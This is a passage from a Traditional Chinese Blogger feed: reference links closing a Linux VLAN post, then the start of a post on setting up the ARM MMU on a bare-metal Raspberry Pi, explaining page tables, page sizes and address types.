&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://blog.csdn.net/qy532846454/article/details/6529166&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://blog.csdn.net/qy532846454/article/details/6529166&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid39&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://www.ibm.com/developerworks/cn/linux/1310_xiawc_networkdevice/&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://www.ibm.com/developerworks/cn/linux/1310_xiawc_networkdevice/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid40&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://ramirose.wix.com/ramirosen&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://ramirose.wix.com/ramirosen&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid41&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://www.cnblogs.com/zmkeil/archive/2013/04/18/3029339.html&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://www.cnblogs.com/zmkeil/archive/2013/04/18/3029339.html&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid42&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://www.net130.com/netbass/netmanger/20040519031.htm&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://www.net130.com/netbass/netmanger/20040519031.htm&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid43&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://blog.csdn.net/zhou13454069844/article/details/16804501&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://blog.csdn.net/zhou13454069844/article/details/16804501&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/4948545538095681250/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/4948545538095681250' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/4948545538095681250'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/4948545538095681250'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2015/01/linux-vlan.html' title='Linux VLAN 筆記 '/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>台灣</georss:featurename><georss:point>23.69781 120.96051499999999</georss:point><georss:box>16.2584125 110.6333665 31.137207500000002 131.28766349999998</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-2909880650282254173</id><published>2014-11-19T12:14:00.004+08:00</published><updated>2016-12-27T09:20:18.179+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OSDev"/><title type='text'>自己動手做OS之Raspberry Pi MMU initialization.</title><content type='html'>&lt;br /&gt;
寫了一個簡單的bare metal啟動MMU的程式，&lt;br /&gt;
把實際位址0x20000000~0x210000000 對應到虛擬位址0xa0000000~0xa1000000&lt;span style=&quot;background-color: white; color: #969896; font-family: &amp;quot;consolas&amp;quot; , &amp;quot;liberation mono&amp;quot; , &amp;quot;menlo&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: 12px; line-height: 16.7999992370605px; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
ARM MMU的部份在ARMv6之前跟之後的版本不同，&lt;br /&gt;
請看Technical Reference Manual。&lt;br /&gt;
&lt;br /&gt;
Raspberry Pi MMU initialization example.&lt;br /&gt;
&lt;br /&gt;
hackpad note:https://lbd.hackpad.com/MMU-initialization-Jl8YoJ3iUdf&lt;br /&gt;
source code:https://github.com/tzuCarlos/RaspberryPi/tree/master/labMMU&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-hone emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid4&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-hone listindent1 list-hone1&quot; style=&quot;border-bottom-color: rgb(180, 192, 187); border-bottom-style: solid; border-bottom-width: 1px; cursor: text; line-height: 34px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin: 0px 0px 10px; padding: 0px;&quot;&gt;
&lt;li style=&quot;background-position: 10px 2px; background-repeat: no-repeat no-repeat; font-size: 26px; font-weight: bold; margin: 0px 0px 0px -1.3em; padding: 0px 0px 2px 1.3em;&quot;&gt;&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;為什麼需要MMU?&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid5&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;TODO:....&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid6&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid7&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid8&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;頁表(page table)是由頁表項(page table entry, PTE)組成的&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;。 每一個PTE包含一段虛擬位址(page)映射到一段實體位址的資訊，而page的大小依ARM core版本不同，有不同的支持1K(tiny page), 4K(small page), 64k(large page), 1MB, 16MB。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid9&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;page的大小決定了映射的粒度(granularity):&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-bullet emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid10&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-bullet listindent1 list-bullet1&quot; style=&quot;list-style-image: initial; list-style-position: initial; margin: 0px 0px 0px 1.5em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;如果我們把page切1MB，那64MB的記憶體就需要64MB/1MB的PTE，每個PTE是32bits(4bytes)，64x4=256bytes頁表項空間。4G就是4096x6=16384=16K&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid11&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid12&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid13&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;切1K,4K,64K需要用二級查表，1MB,64MB用一級查差，二級差表用途是縮小PTE，以減少佔用記憶體空間，但降底了尋址的效率。 16M的page叫super section, 1M的叫section。 L1表還有個名稱叫page directory entry(PDE)。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid14&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid15&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;ARM 的位址轉換涉及底下三種位址[1]:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-bullet emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid16&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-bullet listindent1 list-bullet1&quot; style=&quot;list-style-image: initial; list-style-position: initial; margin: 0px 0px 0px 1.5em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;虛擬位址 (Virtual Address，VA): CPU 送出的位址。&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-bullet emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid17&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-bullet listindent1 list-bullet1&quot; style=&quot;list-style-image: initial; list-style-position: initial; margin: 0px 0px 0px 1.5em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;修改後的虛擬位址 (Modified Virtual Address，MVA): 快取和 MMU 看到的是 MVA。&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-bullet emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid18&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-bullet listindent1 list-bullet1&quot; style=&quot;list-style-image: initial; list-style-position: initial; margin: 0px 0px 0px 1.5em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;物理位址 (Physical Address，PA): 內存看到的是 PA。&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid19&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid20&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;ARM920T(ARMv4) Technical Reference Manual&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 autolink&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;autolink style=&quot;margin: 0px; padding: 0px;&quot;&gt;第&lt;/autolink&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;三章[2]:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid21&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 attrimg img&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; display: block; margin: 0px; max-width: 100%; padding: 0px; position: relative; text-align: center;&quot;&gt;&lt;img class=&quot;inline-img&quot; faketext=&quot;*&quot; src=&quot;https://dchtm6r471mui.cloudfront.net/hackpad.com_Jl8YoJ3iUdf_p.263538_1415954881698_mmu.jpg&quot; style=&quot;cursor: -webkit-zoom-in; margin: 0px; max-height: 773px; max-width: 100%; padding: 0px;&quot; /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid22&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;圖中的Translation table是第一級頁表最大4096x32bit entries=16KB，每一個對應到1MB的虛擬記憶體，也就是4G，&lt;/span&gt;&lt;/div&gt;
